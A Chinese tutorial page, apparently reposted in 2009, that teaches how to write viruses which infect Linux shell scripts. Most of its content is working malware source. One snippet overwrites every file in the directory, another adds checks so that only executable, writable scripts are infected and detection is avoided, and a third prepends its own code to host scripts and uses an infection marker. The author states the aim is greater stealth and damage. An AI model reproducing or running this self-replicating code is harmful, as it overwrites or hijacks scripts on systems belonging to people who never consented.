当前位置: 首页 > 图文教程 > 操作系统 > Unix/Linux > 感染Linux系统脚本程序的病毒技术介绍

Unix/Linux
Linux crontab定时执行任务 命令格式与详细例子
linux 查看用户及用户组的方法
让Linux系统有效防御ARP攻击的实用技巧
Linux 常用软件列表
linux wget 一个强大的下载命令
linux 常用脚本、命令
linux 磁盘配额 简单介绍
Linux服务器架设笔记 Squid服务器配置
ubuntu intel 集成显卡安装
ubuntu 9.04 X3100 显卡开启3D特效
Ubuntu 8.10 Server Ruby 的安装方法
Ubuntu root帐户密码修改
ubuntu下apt-get 命令参数
Ubuntu Linux下实现QQ的三种方式
Ubuntu 8.04中建立PHP+MySQL环境
Ubuntu常用软件大全
Ubuntu系统下安装Aircrack-ng
Ubuntu实现FTP功能
ubuntu 字体美化实现方法
ubuntu下netbeans汉字显示残缺问题

Unix/Linux 中的 感染Linux系统脚本程序的病毒技术介绍


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-11-01   浏览: 27 ::
收藏到网摘: n/a

  主要的Shell病毒技术

当然,本文需要你至少了解Linux Shell编程的基础知识和一星点的病毒知识。OK!我们进入正题!

我们来看一个最原始的shell病毒,代码最能说明问题:

#shellvirus I for file in * do  cp $0 $file done

简单吧?遍历当前文件系统的所有文件,然后覆盖所有文件。但是,我们知道linux是多用户的操作系统,它的文件是具有保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现并制止它的传染。所以我们可以为该脚本做个判断,这样隐蔽性就大大增强了:

#shellvirus II for file in * do   if test -f $file   then   if test -x $file   then    if test -w $file    then    if grep -s echo $file >.mmm    then    cp $0 $file fi; fi; fi; fi; fi done rm .mmm -f

ok.我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权限写,再判断它是否是脚本程序如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大的。

if grep -s echo $file>/.mmm

这句也可以这样写:

if file $file | grep -s 'Bourne shell script' > /dev/nul ; then,也就是判断file是否为shell脚本程序。但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜伏的危害性,而且以上的脚本只是简单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错:),看看下面代码:

#infection head -n 24 $0 > .test    <-取自身保存到.test for file in *      <-遍历文件系统 do  if test -f $file    <-判断是否为文件  then    if test -x $file    <-判断文件是否可执行    then       if test -w $file  <-判断文件是否可写       then        if grep -s echo $file >.mmm  <-判断是否为脚本程序        then         head -n 1 $file >.mm    <-提取要感染的脚本程序的第一行         if grep -s infection .mm >.mmm  <-判断该文件是否已经被感染         then         rm -f .mm      <-已经被感染,则跳过         else        <-还未被感染         cat $file > .SAVEE    <-很熟悉吧?借用了传统的二进制文件的感染机制         cat .test > $file         cat .SAVEE >> $file  fi; fi; fi; fi; fi done rm .test .SAVEE .mmm .mm -f

程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,shell脚本一般都是明文的,呵呵。不过危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着在程序中可以反应出来。

ok,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码: